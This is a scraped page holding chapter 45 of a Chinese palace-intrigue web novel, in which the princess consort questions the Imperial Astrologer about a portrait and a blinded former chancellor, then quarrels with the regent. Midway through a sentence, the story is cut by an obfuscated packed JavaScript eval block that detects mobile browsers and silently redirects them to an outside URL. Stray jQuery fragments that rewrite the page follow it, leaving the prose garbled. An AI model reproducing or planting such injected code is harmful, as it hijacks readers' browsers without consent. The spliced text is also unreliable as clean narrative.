默认冷灰
24号文字
方正启体

45. 第 45 章

作者:林子很大本书字数:K更新时间:
    符无虞正坐在桌前捧着龟壳子摇晃,几片白色的帷幕随风飘荡。影影绰绰,好似将人的距离刻意拉远了些。一头白色的发丝混迹其中,仿佛与其融为一体般。


    不过四年过去,原先那一头乌黑亮丽的发丝已经尽数变作雪白。难不成在修道之人那里,时间的流逝要比寻常人更快吗。


    叶袭宸走上前来,轻微的脚步声引起了符无虞的注意,她轻轻抬起头,眉峰雪白,见到来人,神情不变:“王妃。”


    叶袭宸在符无虞的对面坐下:“路过此处,特来看望。”


    “路过?”符无虞低着眼睛,手在几枚铜钱上胡乱地摸着:“摘星楼地处偏僻,王妃要扯谎也该找个合适的。”


    叶袭宸轻轻一笑:“国师果真聪慧,我的确不是路过,而是特来拜访。”


    符无虞依旧没有抬头:“我与王妃素无来往,不值得王妃特地前来拜访。”


    “素无来往?”叶袭宸抢过符无虞面前的一枚铜钱,轻轻摩挲着:“若是素无往来,楚无暇又是谁?”


    符无虞的神情有所松动,她终于抬起头来,却非为楚无暇,而是为铜钱:“王妃,此铜钱乃是我卜算专用,还请还给我。”


    “我若是不还,你又能如何?”


    食指并中指夹住铜钱,叶袭宸唇角微勾:“今日你若是不说出其中缘由,这枚铜钱我是万万不会归还的。”


    符无虞叹了一口气:“王妃为何为难我?”


    叶袭宸加重了语气:“楚无暇。”


    “楚无暇?”符无虞捧起龟壳:“王妃若是想知晓此人,许告知我他的生辰八字,我方可卜算出来。”


    “生辰八字我自会去问,但你的确不认识楚无暇吗?”


    符无虞摇头:“从未见过此人。”


    “可楚无暇却说几个月前与你在兰庭戏院久别重逢,受你所托才来到我面前。”


    “且不说这番话极像谎话,就说兰庭戏院。我已四年不曾离开过摘星楼,更何谈出宫去到兰庭戏院。”


    叶袭宸微微一笑:“国师四年不曾离开摘星楼,但却是耳聪目明。”


    “这话从何说起?”


    “兰庭戏院确是在宫外,国师连摘星楼都不出,如何知晓?”


    符无虞依旧面不改色:“我这里还是有人会来的。早前两三年,我便知晓此戏院的存在了。”


    “哦?”叶袭宸来了兴致:“何人?”


    符无虞抬眸:“王妃进来时应该看到她了。”


    叶袭宸默了片刻:“宋雪砚。”


    符无虞轻轻点头。


    叶袭宸又是默了片刻:“她的眼睛是怎么造成的?”


    符无虞道:“两年前,宋相因为将我这里一幅叶帝叶袭宸的画像错认成了本人,误以为是鬼魂来索命了,吓得戳瞎双目了。”


    叶袭宸问道:“什么画像?”


    符无虞起身,进到里头,出来时已经拿了个画卷出来,在桌子上展开。


    叶袭宸细细看着。


    这是一幅黑白画像,并未上有任何色彩。画的是叶袭宸身骑战马,手执长枪浴血奋战时的情形。脸上沾染些许血迹,发丝随风飘扬。


    叶袭宸还是第一次从旁人角度看到自己奋勇杀敌时的样子,觉得甚是新奇,左看右看,上看下看。


    画风似有几分眼熟,与当初楚无暇带来的那两幅很是相像。叶袭宸恍然想到,自己似乎也并没有见识过符无虞的画作。


    抬头问道:“这幅画是何人所绘?”


    符无虞平静道:“从宋相处买来的,应是她亲手所画。”


    这一句可谓是精彩。首先宋雪砚已经是疯癫之人,问也问不出个所以然来。其次叶袭宸也不知道沈道溦有没有见识过宋雪砚的画风,实在不好否认这不是她亲手所画。


    叶袭宸想了想道:“既是宋雪砚亲手所画,又怎会被吓到。”


    符无虞神情寡淡:“说得也是,既是宋相亲手所画,又怎会需我用银两购买。”


    叶袭宸的食指轻点桌子:“不知我今日是否有幸见识到国师的画作?”


    符无虞低笑出声:“王妃莫不是怀疑这幅画作是我亲手所画?”


    被戳破了心思,叶袭宸也不觉尴尬,倒是爽快承认了:“不错。”


    符无虞道:“王妃想错了。且不说我不会作画,就是会作,我也从未见过叶帝在战场上的英姿。”


    叶袭宸笑了起来:“哈哈哈说得极是。”


    她算是看出来了,符无虞就不想说这件事。既然这样,她还待在这里做什么,不如离去。况且来了半天,连杯茶水都没有。


    叶袭宸早觉口干舌燥了,她舔了舔唇角:“既是如此,我便不打扰了。”


    她才刚起身,一个白色的身影便跌跌撞撞闯了进来。


    是宋雪砚。


    她直接扑到了叶袭宸身上,紧紧地抱着不撒手。


    “阿宸呜呜呜呜……阿宸……阿宸……”


    叶袭宸身子僵硬。


    符无虞将宋雪砚从叶袭宸的身上扒拉下来,从衣袖中掏出一粒黑色的东西喂给宋雪砚。她的状态立即安分下来,安静地依偎在符无虞的肩头,似是睡着了。


    “你喂的什么?”


    “丹药。”符无虞道:“自己炼制的,安心定神。”


    叶袭宸看着血泪一点一滴从宋雪砚的脸上淌下来,眉头微微皱着:“她行动自如,似乎不像是瞎了。”


    “王妃若是早两年来,就不是这个样子了。”符无虞轻轻拍打着宋雪砚的肩膀,似是在哄睡小孩子一般:“她只在摘星楼附近晃悠,若是出了这里,她寸步难行。”


    “她的眼睛找人看过吗?”叶袭宸道:“还有没有复明的可能?”


    “有倒是有,但她有心结,一时半会儿复明不了。”


    “心结?”


    “已死的叶帝叶袭宸。”


    “既是如此,让我带她回摄政王府可好?”叶袭宸抿了抿唇角:“我在府里闲来无事,正好可以照顾她。”


    “好倒是好,但她的疯癫之症我已经在医治。”符无虞道:“不出几日便可恢复,若是此时断药,实在可惜。”


    “那你与她一同来摄政王府居住可好?横竖也没有几日。”


    符无虞摇头:“四年间我从未离开过摘星楼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104903|192012||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,此一生怕是再也出不了了。再者,摄政王也断然不会同意宋相进府。”


    “何以见得?”


    符无虞道:“那就请王妃回去问问,等摄政王同意,宋相的疯癫之症怕是也已经治好了。”


    “一言为定。”


    叶袭宸出来摘星楼的时候,唐锶谐已经在外等候多时。一袭青衣站在外面的桃花树下,花瓣随风轻轻落下,甚至有几片落在了他的肩膀上。


    居然还换了身衣服。


    叶袭宸走过去,轻轻拍了拍他的肩膀:“你早来了?”


    唐锶谐的唇角勾着:“刚来一会儿。”他看向叶袭宸身后的摘星楼:“还顺利吗?”


    叶袭宸点点头:“我想与你商量件事情。”


    “何事?”


    “我想带宋雪砚回摄政王府。”


    唐锶谐的眉头不自觉皱起来:“此举何意?”


    “毕竟也是一代名相,落到这步田地实在叫人惋惜,我想……”


    叶袭宸的话还未说完,唐锶谐转身便走。


    “……”


    叶袭宸并未追上去,只是立在原地看着。果不其然,唐锶谐没走两步就停了下来。他闭了闭眼睛,深深地吸了一口气,走回到叶袭宸身旁,扯了她的胳膊往前走。


    叶袭宸任由他拽着,身后跟着没眼看的林有分。


    他算是看出来了,王妃是故意给摄政王找不痛快。摄政王的痛点是什么,她就刻意去揭露什么。先是叶袭宸,再是花疏玉,最后是宋雪砚。幸亏叶袭宸的尸体不翼而飞了,而且也已经过去两年了,要不她高低也得给叶袭宸收个尸,再请几位和尚道士来做做法,超度超度。


    摄政王也是色厉内荏,生了一通气却又走回来。要是换了别人,撒手不管算是好的,直接砍头了事得了。


    叶袭宸坐上了回府的马车,颠簸着朝宫外驶去。


    唐锶谐依旧闭目养神,双手搭在膝盖上,五指收拢,似乎在忍耐着。


    假惺惺。


    叶袭宸双手环胸靠在马车上,眼前不断浮现宋雪砚那张流淌着血泪的面庞,不由自主地叹了一口气。


    “道溦,你是故意为之吗?”唐锶谐睁开了双眼:“你明知我最是厌恶宋雪砚,为何要提议将她接进摄政王府?”


    叶袭宸心底一阵翻江倒海。


    嘴里说着厌恶,最后还不是借着她的帮助打进皇城了。


    装什么呢。


    又当又立的伪君子。


    “为什么?”唐锶谐攥住叶袭宸的手腕,目光灼灼地看着她,像是要看穿她的心思似的。


    “你与她素无交情,到底是何原因?”


    叶袭宸冷笑一声:“你是听实话还是假话?”


    “自然是实话。”


    “因为看她可怜。”


    “世间可怜之人众多,你为何只单单怜悯她?”


    “那我也问你一句,皇室成员众多,花疏玉比花疏叶更有雄才大略,你为何只单单看中了花疏叶?”


    唐锶谐抿紧了唇角:“这根本不可同日而语。”


    “有何不可?”叶袭宸嗤笑一声:“男女有别?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)